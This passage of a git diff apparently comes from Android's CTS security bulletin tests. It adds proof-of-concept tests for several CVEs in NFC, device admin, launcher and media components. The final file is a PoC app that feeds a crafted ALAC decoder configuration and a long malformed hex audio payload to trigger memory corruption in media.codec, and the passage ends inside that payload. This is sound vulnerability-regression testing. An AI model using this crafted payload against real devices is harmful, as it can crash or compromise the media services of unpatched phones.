+    buffer = buffer + kBufferSize;
+
+    isTestInProgress = true;
+    nfc_ncif_proc_ee_discover_req(buffer, bufLen);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    isTestInProgress = false;
+
+    free(buffer_ptr);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
new file mode 100644
index 0000000..415e2b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -0,0 +1,68 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import android.platform.test.annotations.AsbSecurityTest;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_30351 extends SecurityTestCase {
+
+    /**
+     * CVE-2021-30351
+     */
+    @AsbSecurityTest(cveBugId = 201430561)
+    @Test
+    public void testPocCVE_2021_30351() throws Exception {
+        final int SLEEP_INTERVAL_MILLISEC = 5 * 1000;
+        String apkName = "CVE-2021-30351.apk";
+        String appPath = AdbUtils.TMP_PATH + apkName;
+        String packageName = "android.security.cts.CVE_2021_30351";
+        ITestDevice device = getDevice();
+
+        try {
+            /* Push the app to /data/local/tmp */
+            pocPusher.appendBitness(false);
+            pocPusher.pushFile(apkName, appPath);
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the application */
+            AdbUtils.runCommandLine("pm install " + appPath, device);
+
+            /* Start the application */
+            AdbUtils.runCommandLine("am start -n " + packageName + "/.MainActivity", getDevice());
+            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            /* Un-install the app after the test */
+            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
+
+            /* Check if media.codec has crashed thereby indicating the presence */
+            /* of the vulnerability */
+            String logcat = AdbUtils.runCommandLine("logcat -d", device);
+            AdbUtils.assertNoCrashes(getDevice(), "media.codec");
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
index e2d88bd..cd8afef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -16,42 +16,54 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.After;
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
-    public static final int USER_ID = 0;
-    static final String TEST_APP = "CVE-2021-39706.apk";
-    static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
-    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-    public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
-
-    @After
-    public void tearDown() throws Exception {
-        // Remove Device Admin Component
-        AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
-                + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
-    }
 
     @AsbSecurityTest(cveBugId = 200164168)
     @Test
-    public void testPocCVE_2021_39706() throws Exception {
-        ITestDevice device = getDevice();
-        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-        installPackage(TEST_APP, "-t");
-        // Set Device Admin Component
-        AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
-                + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
-        runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+    public void testPocCVE_2021_39706() {
+        final int userId = 0;
+        final String testApp = "CVE-2021-39706.apk";
+        final String testPkg = "android.security.cts.CVE_2021_39706";
+        final String testClass = testPkg + "." + "DeviceTest";
+        final String testDeviceAdminReceiver = testPkg + ".PocDeviceAdminReceiver";
+        boolean cmdResult = false;
+        try {
+            ITestDevice device = getDevice();
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+            installPackage(testApp, "-t");
+            // Set Device Admin Component
+            String result = AdbUtils.runCommandLine("dpm set-device-owner --user " + userId + " '"
+                    + testPkg + "/" + testDeviceAdminReceiver + "'", device);
+            cmdResult = result.startsWith("Success");
+            assumeTrue("Device admin not set", cmdResult);
+            runDeviceTests(testPkg, testClass, "testCredentialReset");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                if (cmdResult) {
+                    // Remove Device Admin Component
+                    AdbUtils.runCommandLine("dpm remove-active-admin --user " + userId + " '"
+                            + testPkg + "/" + testDeviceAdminReceiver + "'", getDevice());
+                }
+            } catch (Exception e) {
+                assumeNoException(e);
+            }
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
new file mode 100644
index 0000000..ee835f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 209607104)
+    @Test
+    public void testPocCVE_2021_39797() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2021_39797_test";
+        final String targetPkg = "android.security.cts.CVE_2021_39797_target";
+        uninstallPackage(device, testPkg);
+        uninstallPackage(device, targetPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2021-39797-test.apk");
+        installPackage("CVE-2021-39797-target.apk");
+        String previous = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
+
+        /* Set the property hidden_api_policy to 1 in order to access the vulnerable function
+           getMainActivityLaunchIntent of class LauncherApps */
+        AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
+        runDeviceTests(testPkg, testPkg + ".DeviceTest", "testTaskOverride");
+
+        /* Restore the property hidden_api_policy to its previous value */
+        AdbUtils.runCommandLine("settings put global hidden_api_policy " + previous, device);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
new file mode 100644
index 0000000..47ea7ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 211481342)
+    @Test
+    public void testPocCVE_2022_20007() {
+        final String testPkg = "android.security.cts.CVE_2022_20007";
+        final String testClass = testPkg + "." + "DeviceTest";
+        final String testApp = "CVE-2022-20007.apk";
+        final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+        ITestDevice device = getDevice();
+        try {
+            installPackage(testApp);
+            installPackage(testAttackerApp);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+            runDeviceTests(testPkg, testClass, "testRaceCondition");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
new file mode 100644
index 0000000..08b28b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20131 extends SecurityTestCase {
+    /**
+     * b/221856662
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: nfc_ncif_proc_ee_discover_req (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 221856662)
+    @Test
+    public void testPocCVE_2022_20131() {
+        try {
+            AdbUtils.assumeHasNfc(getDevice());
+            assumeIsSupportedNfcDevice(getDevice());
+            pocPusher.only64();
+            String signals[] = {CrashUtils.SIGSEGV};
+            String binaryName = "CVE-2022-20131";
+            AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+            testConfig.config =
+                    new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                            .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                                    "nfc_ncif_proc_ee_discover_req"));
+            testConfig.config
+                    .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+            testConfig.config.setSignals(signals);
+            AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
new file mode 100644
index 0000000..f593f20
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 223578534)
+    @Test
+    public void testPocCVE_2022_20223() {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2022_20223";
+        int userId = -1;
+        try {
+            // Wake up the screen
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            // Create restricted user
+            String commandOutput = AdbUtils.runCommandLine(
+                    "pm create-user --restricted CVE_2022_20223_RestrictedUser", device);
+
+            // Extract user id of the restricted user
+            String[] tokens = commandOutput.split("\\s+");
+            assumeTrue(tokens.length > 0);
+            assumeTrue(tokens[0].equals("Success:"));
+            userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+            // Install PoC application
+            installPackage("CVE-2022-20223.apk");
+
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // Back to home screen after test
+                AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+                if (userId != -1) {
+                    // Remove restricted user
+                    AdbUtils.runCommandLine("pm remove-user " + userId, device);
+                }
+            } catch (Exception e) {
+                assumeNoException(e);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java
index 46dc3e9..21964fd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java
@@ -35,16 +35,15 @@
 
     @Test
     public void testCVE_2020_0448() {
-        Context context = getApplicationContext();
-        assumeNotNull(context);
-        final TelecomManager manager = context.getSystemService(TelecomManager.class);
-        assumeNotNull(manager);
         try {
-            manager.getPhoneAccountsForPackage();
-        } catch (Exception e) {
-            if (e instanceof SecurityException) {
+            Context context = getApplicationContext();
+            final TelecomManager manager = context.getSystemService(TelecomManager.class);
+            try {
+                assumeNotNull(manager.getPhoneAccountsForPackage());
+            } catch (SecurityException e) {
                 return;
             }
+        } catch (Exception e) {
             assumeNoException(e);
         }
         fail("Vulnerable to b/153995334");
diff --git a/tests/tests/cronet/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/Android.bp
similarity index 61%
rename from tests/tests/cronet/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-30351/Android.bp
index fc8ec7f..55d3ccf 100644
--- a/tests/tests/cronet/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -12,29 +12,23 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-
-// TODO: Move this target to cts/tests/tests/net/cronet
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
-
-android_test {
-    name: "CtsCronetTestCases",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    static_libs: [
-        "CronetApiCommonTests",
-        "ctstestrunner-axt",
-    ],
-
-    // Tag this module as a cts test artifact
+android_test_helper_app {
+    name: "CVE-2021-30351",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
-        "general-tests",
-        "mts-cronet",
+        "vts10",
+        "sts",
     ],
-
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/AndroidManifest.xml
new file mode 100644
index 0000000..81b2279
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<!--
+  Copyright (C) 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_30351"
+    android:targetSandboxVersion="2">
+
+  <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+  <application android:theme="@style/Theme.AppCompat.Light">
+    <uses-library android:name="android.test.runner" />
+    <service android:name=".OverlayService"
+        android:enabled="true"
+        android:exported="false" />
+
+    <activity
+        android:name=".MainActivity"
+        android:label="CVE-2021-30351"
+        android:exported="true"
+        android:taskAffinity="android.security.cts.CVE_2021_30351.MainActivity">
+
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+      </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation
+      android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.security.cts.CVE_2021_30351" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/src/android/security/cts/CVE_2021_30351/MainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/src/android/security/cts/CVE_2021_30351/MainActivity.java
new file mode 100644
index 0000000..aa3a298
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/src/android/security/cts/CVE_2021_30351/MainActivity.java
@@ -0,0 +1,118 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.CVE_2021_30351;
+
+import android.app.Activity;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.util.Log;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+
+public class MainActivity extends Activity {
+
+    private static final String TAG = "CVE-2021-30351";
+    MediaCodec decoder = null;
+
+    private static byte[] hexStringToByteArray(String s) {
+        int len = s.length();
+        byte[] data = new byte[len / 2];
+        for (int i = 0; i < len; i += 2) {
+            data[i / 2] =
+                    (byte)
+                            ((Character.digit(s.charAt(i), 16) << 4)
+                                    + Character.digit(s.charAt(i + 1), 16));
+        }
+        return data;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Create ALAC decoder
+        try {
+            decoder = MediaCodec.createByCodecName("OMX.qti.audio.decoder.alac.sw");
+
+        } catch (IOException ex) {
+            Log.e(TAG, "[-] Failed to create decoder");
+            ex.printStackTrace();
+        }
+
+        MediaFormat mediaFormat = MediaFormat.createAudioFormat("audio/alac", 48000, 2);
+        mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+        mediaFormat.setInteger(MediaFormat.KEY_IS_ADTS, 1);
+        mediaFormat.setInteger(
+                MediaFormat.KEY_AAC_PROFILE, MediaCodecInfo.CodecProfileLevel.AACObjectLC);
+
+        // Config the frameLength as 1 byte (the first dword). The output buffer
+        // size is proportional to the frameLength
+        byte[] data =
+                new byte[] {
+                    (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x10,
+                            (byte) 0x08, (byte) 0x08,
+                    (byte) 0x08, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11,
+                            (byte) 0x00, (byte) 0x00,
+                    (byte) 0x00, (byte) 0x10, (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xFF,
+                            (byte) 0xFF, (byte) 0xFF
+                };
+        ByteBuffer csd_0 = ByteBuffer.wrap(data);
+        mediaFormat.setByteBuffer("csd-0", csd_0);
+
+        decoder.configure(mediaFormat, null, null, 0);
+        decoder.start();
+
+        // Create audio track
+        int minBufSize =
+                AudioTrack.getMinBufferSize(
+                        48000, AudioFormat.CHANNEL_OUT_STEREO, AudioFormat.ENCODING_PCM_16BIT);
+        AudioTrack audioTrack =
+                new AudioTrack(
+                        AudioManager.STREAM_MUSIC,
+                        48000,
+                        AudioFormat.CHANNEL_OUT_STEREO,
+                        AudioFormat.ENCODING_PCM_16BIT,
+                        minBufSize,
+                        AudioTrack.MODE_STREAM);
+        audioTrack.play();
+
+        // Play the malformed frame from below payload
+        String payload =
+                "00001a82828282000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100064001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000010000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010260000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010f5000010000000100000001000000010000000100000001000000010000000100200001000000010000000100000001000000010000000100000000000100000001000000010000000100000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000eb1000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ff7fffff000010000000100000001000000010000000100000001000000010000000ee000000100000001000000010000000100000001000000010000015100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000000010001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000200000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000001c100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ed00100000001000000010000000200000001000000010000000100000ee1000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000009100000001000000010000000100000001000000010000000100000001000000010000000001000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000001000000010000000100000001000000010000000100000001000000010000000100000001000fff1100000001000eeff100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000e3100000001000000010000000100000001000000010004e0010ffe7001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000ffb0000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001002000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000850000001000000010000000101000001000000010000010000000100000ae10000000fbff00001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000001000000010000000100000001000000010001c001000f1001000000010000000100000001000000010000004100000001000000010000000100000001f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010001000000010000000101000001000000010000010000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010ddffff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100010001000000010000000100000020000120010000020100000001000000080ffff00100000001000000010000000100000001000000010df000010000000100000001000000010010000000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000f2001000000010dfffff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ffff10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000280000001000000010000000100d00001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000008100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001a000000100000001000fb001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000ffff0010000000100000001000000010000000100000001000000010000000100000009b000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000f51000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010008000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000002f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001020000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000001000000010000000100000001000000010000000100000f4100000001000000010000000108000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000019100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000b100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001002000010000000100000001000000010000000100000001000000c1000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001d0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010100000100000001000000010000000100000001000000000000080100000001000000010000000100000001000000010000000100000001000000010000000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000fe700ff000000001000000010000000100000